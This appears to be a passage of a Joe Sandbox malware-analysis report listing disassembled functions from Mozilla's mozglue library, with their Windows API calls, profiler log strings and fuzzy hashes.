Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB5F8F9

Part of subcall function 6CB26390: GetCurrentThreadId.KERNEL32 ref: 6CB263D0
Part of subcall function 6CB26390: AcquireSRWLockExclusive.KERNEL32 ref: 6CB263DF
Part of subcall function 6CB26390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB2640E

ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5F93A
GetCurrentThreadId.KERNEL32 ref: 6CB5F98A
GetCurrentThreadId.KERNEL32 ref: 6CB5F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5F716

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

Part of subcall function 6CB1B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CB1B5E0

GetCurrentThreadId.KERNEL32 ref: 6CB5F739
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5F746
GetCurrentThreadId.KERNEL32 ref: 6CB5F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB9385B,00000002,?,?,?,?,?), ref: 6CB5F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB5F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB5F866
free.MOZGLUE(?), ref: 6CB5FA0C

Part of subcall function 6CB25E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB255E1), ref: 6CB25E8C
Part of subcall function 6CB25E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB25E9D
Part of subcall function 6CB25E60: GetCurrentThreadId.KERNEL32 ref: 6CB25EAB
Part of subcall function 6CB25E60: GetCurrentThreadId.KERNEL32 ref: 6CB25EB8
Part of subcall function 6CB25E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB25ECF
Part of subcall function 6CB25E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CB25F27
Part of subcall function 6CB25E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CB25F47
Part of subcall function 6CB25E60: GetCurrentProcess.KERNEL32 ref: 6CB25F53
Part of subcall function 6CB25E60: GetCurrentThread.KERNEL32 ref: 6CB25F5C
Part of subcall function 6CB25E60: GetCurrentProcess.KERNEL32 ref: 6CB25F66
Part of subcall function 6CB25E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB25F7E

free.MOZGLUE(?), ref: 6CB5F9C5
free.MOZGLUE(?), ref: 6CB5F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB5F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB5F71F
" attempted to re-register as ", xrefs: 6CB5F858
Thread , xrefs: 6CB5F789

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f3f7acc6e36558e48ce7dc63d858c967f6824c42e2cdccd30bc16362deda9928
Instruction ID: 036c48c02c59f567abca441340ed417874a4bf2efe2443368859a1efe95a10ad
Opcode Fuzzy Hash: f3f7acc6e36558e48ce7dc63d858c967f6824c42e2cdccd30bc16362deda9928
Instruction Fuzzy Hash: E88125B1A047909FDB10DF24C840BAEB7B5EF86308F94452DE84997B51EB30D859CB92

Function 6CB5EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5EE60
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EE6D
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB5EEA5
CloseHandle.KERNEL32(?), ref: 6CB5EEB4
free.MOZGLUE(00000000), ref: 6CB5EEBB
GetCurrentThreadId.KERNEL32 ref: 6CB5EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5EECF

Part of subcall function 6CB5DE60: GetCurrentThreadId.KERNEL32 ref: 6CB5DE73
Part of subcall function 6CB5DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB24A68), ref: 6CB5DE7B
Part of subcall function 6CB5DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB24A68), ref: 6CB5DEB8
Part of subcall function 6CB5DE60: free.MOZGLUE(00000000,?,6CB24A68), ref: 6CB5DEFE
Part of subcall function 6CB5DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB5DF38

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB5EF1E
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EF2B
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EF59
GetCurrentThreadId.KERNEL32 ref: 6CB5EFB0
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EFBD
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EFE1
GetCurrentThreadId.KERNEL32 ref: 6CB5EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5F000

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB5F02F

Part of subcall function 6CB5F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB5F09B
Part of subcall function 6CB5F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB5F0AC
Part of subcall function 6CB5F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB5F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CB5EED7
[I %d/%d] profiler_pause, xrefs: 6CB5F008

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 1466ae614a357b9138f5545b77d7e5cdda814d98dec66f8d96567e0f44a9905f
Instruction ID: 72a9650058f983ac001d940677cb6efa37d75cb752b553ec4a2e87e26e46605c
Opcode Fuzzy Hash: 1466ae614a357b9138f5545b77d7e5cdda814d98dec66f8d96567e0f44a9905f
Instruction Fuzzy Hash: 6751F1356046D09FEF10AF64D6087AD7BB8EB47379F640529F91983B80CB795828C7A3

Function 6CB25E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB25E9D

Part of subcall function 6CB35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB356EE,?,00000001), ref: 6CB35B85
Part of subcall function 6CB35B50: EnterCriticalSection.KERNEL32(6CB9F688,?,?,?,6CB356EE,?,00000001), ref: 6CB35B90
Part of subcall function 6CB35B50: LeaveCriticalSection.KERNEL32(6CB9F688,?,?,?,6CB356EE,?,00000001), ref: 6CB35BD8
Part of subcall function 6CB35B50: GetTickCount64.KERNEL32 ref: 6CB35BE4

GetCurrentThreadId.KERNEL32 ref: 6CB25EAB
GetCurrentThreadId.KERNEL32 ref: 6CB25EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB25ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CB26017

Part of subcall function 6CB14310: moz_xmalloc.MOZGLUE(00000010,?,6CB142D2), ref: 6CB1436A
Part of subcall function 6CB14310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB142D2), ref: 6CB14387

moz_xmalloc.MOZGLUE(00000004), ref: 6CB25F47
GetCurrentProcess.KERNEL32 ref: 6CB25F53
GetCurrentThread.KERNEL32 ref: 6CB25F5C
GetCurrentProcess.KERNEL32 ref: 6CB25F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB25F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CB25F27

Part of subcall function 6CB2CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB2CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB255E1), ref: 6CB25E8C

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB255E1), ref: 6CB2605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB255E1), ref: 6CB260CC

Strings

GeckoMain, xrefs: 6CB25ECE, 6CB26015

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: f879416e12b8989812e0e99c12e4c0fb87182052b1517d7055cd867f7d0b14b7
Instruction ID: b37abf2427934cfebbe7bf6763bcc13cf79666e84e2bf7e3d1a5fd12f61d354d
Opcode Fuzzy Hash: f879416e12b8989812e0e99c12e4c0fb87182052b1517d7055cd867f7d0b14b7
Instruction Fuzzy Hash: 5D71D1B0A047809FD710DF29C580A6ABBF4FF4A304F14496DE58A87B52D774E848CB92

Function 6CB29590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CB13217
Part of subcall function 6CB131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CB13236
Part of subcall function 6CB131C0: FreeLibrary.KERNEL32 ref: 6CB1324B
Part of subcall function 6CB131C0: __Init_thread_footer.LIBCMT ref: 6CB13260
Part of subcall function 6CB131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CB1327F
Part of subcall function 6CB131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB1328E
Part of subcall function 6CB131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB132AB
Part of subcall function 6CB131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB132D1
Part of subcall function 6CB131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB132E5
Part of subcall function 6CB131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB29675
__Init_thread_footer.LIBCMT ref: 6CB29697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB29707
__Init_thread_footer.LIBCMT ref: 6CB2971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB29773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB297B7
FreeLibrary.KERNEL32 ref: 6CB297D0
FreeLibrary.KERNEL32 ref: 6CB297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB29824

Strings

ntdll.dll, xrefs: 6CB296E3
MapViewOfFileNuma2, xrefs: 6CB297B1
NtMapViewOfSection, xrefs: 6CB29701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB29670

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: de88fbdf9a786b968ef663049769cd6b7785ad89ae02d78e145e74c5fbc6332f
Instruction ID: 26d5d34a141c38144f65c61db84680cfa25895e915c1958b50544f049826d426
Opcode Fuzzy Hash: de88fbdf9a786b968ef663049769cd6b7785ad89ae02d78e145e74c5fbc6332f
Instruction Fuzzy Hash: FA610371B042819BDF00CFA4DA84BAA3BB4EB5B324F108528FD5D83790D738A854CB92

Function 6CB27FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CB28007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CB2801D

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CB2802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CB2803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CB2808D

Part of subcall function 6CB2CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB2CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CB2809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CB280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB2810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB28133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CB28149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CB28167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CB2817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB28199

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: d95d3efd6f9d83a9b8d933743e4dd9ec44c91948e8eeb1d0f4c906394708cfd1
Instruction ID: ba0407efd34ec25729afbe019acb94dc9a39e232e42991cf7fe5e63e2b41e181
Opcode Fuzzy Hash: d95d3efd6f9d83a9b8d933743e4dd9ec44c91948e8eeb1d0f4c906394708cfd1
Instruction Fuzzy Hash: FA5196B2E001985BDB00DFA5DC85AEFB7B9EF49224F140125E919E7781E739D904CBA1

Function 6CB76660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB9F618), ref: 6CB76694
GetThreadId.KERNEL32(?), ref: 6CB766B1
GetCurrentThreadId.KERNEL32 ref: 6CB766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB766E1
EnterCriticalSection.KERNEL32(6CB9F618), ref: 6CB76734
GetCurrentProcess.KERNEL32 ref: 6CB7673A
LeaveCriticalSection.KERNEL32(6CB9F618), ref: 6CB7676C
GetCurrentThread.KERNEL32 ref: 6CB767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB76868
RtlCaptureContext.NTDLL ref: 6CB7687F

Strings

WalkStack64, xrefs: 6CB76890

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 59aa68668aa7ea9e420c26cbd2415b9b13c31bd403916114ba24ef206ee467fb
Instruction ID: 2324276cdf88dc7c79f001337775ff7a5a20043465526b4dd7420b2054d83cc2
Opcode Fuzzy Hash: 59aa68668aa7ea9e420c26cbd2415b9b13c31bd403916114ba24ef206ee467fb
Instruction Fuzzy Hash: DC518F71A09381AFD721CF25C94465EBBF4FF8A714F00892DF9A997640D774D908CBA2

Function 6CB5DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5DE73
GetCurrentThreadId.KERNEL32 ref: 6CB5DF7D
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB5DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB24A68), ref: 6CB5DE7B

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB24A68), ref: 6CB5DEB8
free.MOZGLUE(00000000,?,6CB24A68), ref: 6CB5DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB5DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB5E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CB5DE83
<none>, xrefs: 6CB5DFD7

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 9a7eed8ce93019f2c12c5ae85ed76b54ec46ed6131e3325def5789dd8b58faa7
Instruction ID: 2ec1dcd019dc6e410b5dd6b81f668ac19fc76c702fd5e0a4a14a19d842adbec6
Opcode Fuzzy Hash: 9a7eed8ce93019f2c12c5ae85ed76b54ec46ed6131e3325def5789dd8b58faa7
Instruction Fuzzy Hash: 8C41E275B016909BEF209F74EA047AE7775EB47328F940129E90987B01CB31A825CBE2

Function 6CB6D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB6D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB6D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB6D52A
GetCurrentThreadId.KERNEL32 ref: 6CB6D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB6D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB6D55F
free.MOZGLUE(00000000), ref: 6CB6D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB6D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB6D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB6D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB6D652
GetCurrentThreadId.KERNEL32 ref: 6CB6D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB6D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB6D6A2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 18ec5ea56de22dff683ebaf590f667c4215308ebc28495897b34205746bf47d3
Instruction ID: 24cf6b4411649c44080c3b90f98f393be6a13a0f57f794eb84d03715763db8ef
Opcode Fuzzy Hash: 18ec5ea56de22dff683ebaf590f667c4215308ebc28495897b34205746bf47d3
